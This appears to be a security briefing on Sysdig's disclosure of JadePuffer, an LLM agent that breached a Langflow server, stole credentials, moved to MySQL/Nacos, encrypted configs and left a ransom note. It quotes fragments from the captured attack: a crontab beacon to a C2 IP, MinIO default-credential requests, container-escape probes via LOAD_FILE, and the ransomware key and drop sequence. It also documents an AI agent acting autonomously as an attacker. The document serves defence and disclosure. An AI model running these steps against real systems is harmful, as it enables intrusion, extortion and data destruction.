In July 2026, Sysdig TRT disclosed JadePuffer — the first documented agentic ransomware campaign. An LLM agent broke into an internet-facing Langflow server, stole credentials, moved to a production database, encrypted configuration data, and left a ransom note — with no human operator observed in the captured session. Sysdig classified it as an ATA.
Below is the attack in plain English, step by step — including the commands and technical moves Sysdig documented — so a security lead, founder, or operator can follow what happened and what to fix.
How the Attack Worked — Step by Step
JadePuffer hit two machines: first an internet-facing Langflow AI server (the door), then a separate production server running MySQL and Alibaba Nacos (the real target). Every payload arrived as Base64-encoded Python through the Langflow remote-code-execution endpoint.
STEP 01
Break in through Langflow
Langflow is a tool teams use to build AI workflows. A missing-authentication bug let anyone on the internet run Python on the server — no login required.
- Vulnerability: CVE-2025-3248 (CVSS 9.8) in Langflow versions before 1.3.0
- Flaw: the code-validation endpoint did not require authentication
- Result: unauthenticated remote code execution (RCE) — attacker runs arbitrary Python on the host
- Why it mattered: Langflow hosts often store LLM API keys and cloud credentials in their environment
Source: CVE-2025-3248. Patch: Langflow ≥ 1.3.0. CISA KEV-listed.
STEP 02
Look around and steal secrets
Once inside, the agent asked the same questions a human attacker would — Who am I? What machine is this? What secrets are lying around? — then swept for credentials in parallel.
- Host recon: id, uname -a, hostname, network interfaces, running processes
- LLM provider keys: OpenAI, Anthropic, DeepSeek, Gemini, and others
- Cloud credentials: Alibaba / Aliyun, Tencent, Huawei — plus AWS, GCP, Azure
- Also scanned for crypto wallets, seed phrases, database passwords, and config files
- Dumped Langflow’s own Postgres database, staged secrets to local files, reviewed them, then deleted the staging files
STEP 03
Probe internal services (including MinIO)
From the Langflow host, the agent scanned the internal network for databases, object storage, and secret stores — trying default passwords where it could.
- Probed MinIO (S3-compatible object store) at minio.internal:9000 and 127.0.0.1:9000
- Used default credentials minioadmin:minioadmin
- Listed buckets (app data, backups, ML artifacts, terraform-state)
- Fetched credentials.json and .env from an internal bucket to /tmp/creds.json
- When ?format=json returned XML instead of JSON, the agent switched to an XML parser and continued — no human pause
# MinIO bucket list with default creds (Sysdig capture)
creds = base64.b64encode(b"minioadmin:minioadmin").decode()
req = urllib.request.Request("http://127.0.0.1:9000/")
req.add_header("Authorization", "Basic " + creds)
# …parse S3 XML, list buckets, fetch credentials.jsonSTEP 04
Stay on the Langflow host
The agent installed a scheduled job so it could check back every 30 minutes — a classic persistence move, written as a one-line Python beacon.
- Crontab entry on the Langflow server
- Beacon every 30 minutes to attacker infrastructure on port 4444
- C2 observed by Sysdig: 45.131.66[.]106
*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"STEP 05
Move to the real target: MySQL + Nacos
The Langflow box was only the door. The intended target was a separate internet-exposed production server running MySQL and Alibaba Nacos — a configuration service used in many microservice stacks.
- Connected to the exposed MySQL port as root (credential origin unknown — not observed harvested from this victim)
- Attacked Nacos several ways at once: CVE-2021-29441 auth bypass, forged JWT with Nacos’s well-known default signing key, and direct admin insert into the Nacos database
- Nacos often ships with a documented default JWT secret that never gets changed
STEP 06
Create a backdoor admin — and fix it in 31 seconds
This is the clearest evidence the session was agent-driven. The agent tried to create a Nacos admin account, failed, diagnosed why, and fixed it — in 31 seconds, with no human observed in the loop.
- First try: generate a bcrypt password hash via subprocess.run(['python3', '-c', …])
- If bcrypt was not on that subprocess PATH, the hash came back empty — so the stored password was a blank string
- Login with xadmin:Xploit@2026# failed
- 12 seconds later: tested default nacos:nacos credentials AND tried a simpler password in parallel
- Then: switched to import bcrypt directly, deleted the broken xadmin row, reinserted with a valid hash (admin123), verified login
- 19:34:24 — Insert xadmin with subprocess-generated hash
- 19:34:36 — Login fails (empty hash / PATH issue)
- 19:34:48 — Parallel diagnosis: default creds + new hash
- 19:35:07 — Delete, import bcrypt directly, recreate account
- 19:35:18 — Login succeeds
Same pattern elsewhere: MinIO returned XML instead of JSON → next payload parsed XML. A DROP DATABASE failed on a foreign-key constraint → next payload set FOREIGN_KEY_CHECKS=0, dropped, then reset it. Diagnosis, not blind retry.
STEP 07
Probe for container escape (then clean up)
With MySQL root, the agent spent about eight minutes testing whether it could break out of the database into the host — then left an explicit cleanup marker before moving on.
- Used MySQL file primitives: SELECT … INTO OUTFILE and LOAD_FILE
- Checked docker.sock, /proc/1/cgroup, /etc/hostname, mountinfo, and UDF escalation paths
- Wrote a cleanup marker file before starting the ransomware phase — structured agent behaviour, not a fixed script
# Container-escape pre-checks via MySQL (Sysdig capture)
cur.execute("SELECT LENGTH(LOAD_FILE("/var/run/docker.sock"))")
cur.execute("SELECT LOAD_FILE("/proc/1/cgroup") IS NOT NULL")
# …then DROP TABLE cleanup + OUTFILE cleanup markerSTEP 08
Encrypt 1,342 Nacos configs and leave a ransom note
The agent encrypted every Nacos configuration item, deleted the originals and history, and created a ransom table with a Bitcoin address and a Proton Mail contact.
- Encrypted all 1,342 config_info rows with MySQL AES_ENCRYPT()
- Dropped original config_info and his_config_info (history) tables
- Created README_RANSOM table with demand, Bitcoin address, and contact email
- Ransom note claimed AES-256; MySQL default is AES-128-ECB — likely an LLM hallucination
- AES key was generated, printed once to stdout, and never stored or sent — payment cannot recover the data
- Bitcoin address matches a well-known documentation example; Sysdig cannot tell hallucination from operator choice
# Simplified ransomware sequence (Sysdig capture)
KEY = base64.b64encode(uuid.uuid4().bytes + uuid.uuid4().bytes).decode()
print("Encryption key:", KEY) # printed once; never persisted
# Encrypt configs → drop originals → create README_RANSOM
# Note claims AES-256; MySQL AES_ENCRYPT() defaults to AES-128-ECBSTEP 09
Escalate to dropping databases
After encryption, the agent started dropping entire database schemas — narrating which ones were “high ROI.” It claimed data was already backed up to an external staging IP. Sysdig did not independently verify that exfiltration.
- Targeted customer, user, invitation, CMS, points, and Nacos-related schemas (names redacted in disclosure)
- Staging IP cited in agent comments: 64.20.53[.]230 — agent assertion, not confirmed exfil
- When DROP failed on a foreign-key constraint, the next payload disabled FOREIGN_KEY_CHECKS, dropped, then re-enabled checks
Why the 31-Second Moment Matters
Fixed ransomware scripts fail and stop — or retry the same broken step. JadePuffer failed, named the cause (empty bcrypt hash from a subprocess PATH issue), rewrote the approach, and verified success in 31 seconds. That failure-aware loop is what Sysdig treats as the signature of an ATA in this capture — not that every technique was novel.
MITRE ATLAS Kill-Chain Mapping
JadePuffer maps across nine ATLAS tactics from initial access through destructive impact. Lateral movement to the production MySQL/Nacos host is better modelled in MITRE ATT&CK; ATLAS covers the AI-orchestration layer. Threat modelling should treat MITRE ATLAS as a companion to ATT&CK when AI orchestration infrastructure is in scope.
Forensic LLM Fingerprints
How do defenders know an AI conducted the attack? Researchers identified specific artifacts that distinguish AI-authored attacks from human ones.
Code Annotations
LLMs produce natural-language comments by default; human attackers deliberately avoid them.
Self-Narrating Payloads
Decoded attack scripts carry natural-language reasoning and step-by-step commentary — a hallmark of LLM-generated code.
Training Data Leak
Ransom note used a well-known example Bitcoin wallet from training data; Sysdig notes the address may also be operator-controlled.
AES Hallucination
Ransom note claimed AES-256; implementation was AES-128-ECB. A classic LLM hallucination.
Indicators of Compromise
Use these to hunt on Langflow hosts, MySQL/Nacos servers, egress logs, and scheduled tasks. Staging and payment artifacts carry Sysdig's caveats — treat the staging IP as agent-claimed, and the Bitcoin address as either training-data leakage or operator infrastructure.
Indicators of Compromise
From Sysdig TRT — defanged for publication
The Governance Inflection Point
JadePuffer lowers the skill floor for destructive cyber operations in the captured session. Whether a human configured the agent remains unknown — Sysdig had no visibility into the operator's system prompt or agent setup.
This forces uncomfortable governance questions: Does your organisation treat AI frameworks (Langflow and analogous orchestration tools such as LangChain) as production attack surface? Is there segmentation between AI application servers and production databases? Can your detection stack catch machine-speed lateral movement?
Controls That Matter Now
Immediate
- Patch Langflow to ≥ 1.3.0; do not expose code-validation endpoints to the internet
- Harden Nacos: change default token.secret.key; never expose to the internet; never connect as MySQL root
- Rotate API keys and cloud credentials stored on AI hosts
- Hunt for crontab beacons and IoCs (45.131.66[.]106, 64.20.53[.]230)
4 Weeks
- Segment AI servers from production databases and config stores
- Block internet exposure of database admin ports; enforce unique strong credentials
- Egress controls so a compromised app host cannot beacon or reach staging IPs
- SIEM rules for machine-speed admin creation and DROP DATABASE patterns
Strategic
- Map AI stack against ATLAS alongside ATT&CK
- Pen-test AI orchestration frameworks as production surface
- Air-gapped immutable backups for Nacos / Consul / etcd-class stores
- Runtime detection on database processes and self-narrating payload patterns
JadePuffer is not technically exotic — CVE exploitation, default credentials, and database encryption are well-understood. What makes it a governance inflection point is that an LLM agent chained those techniques into a complete ransomware operation at machine speed — with no human operator observed in the captured session.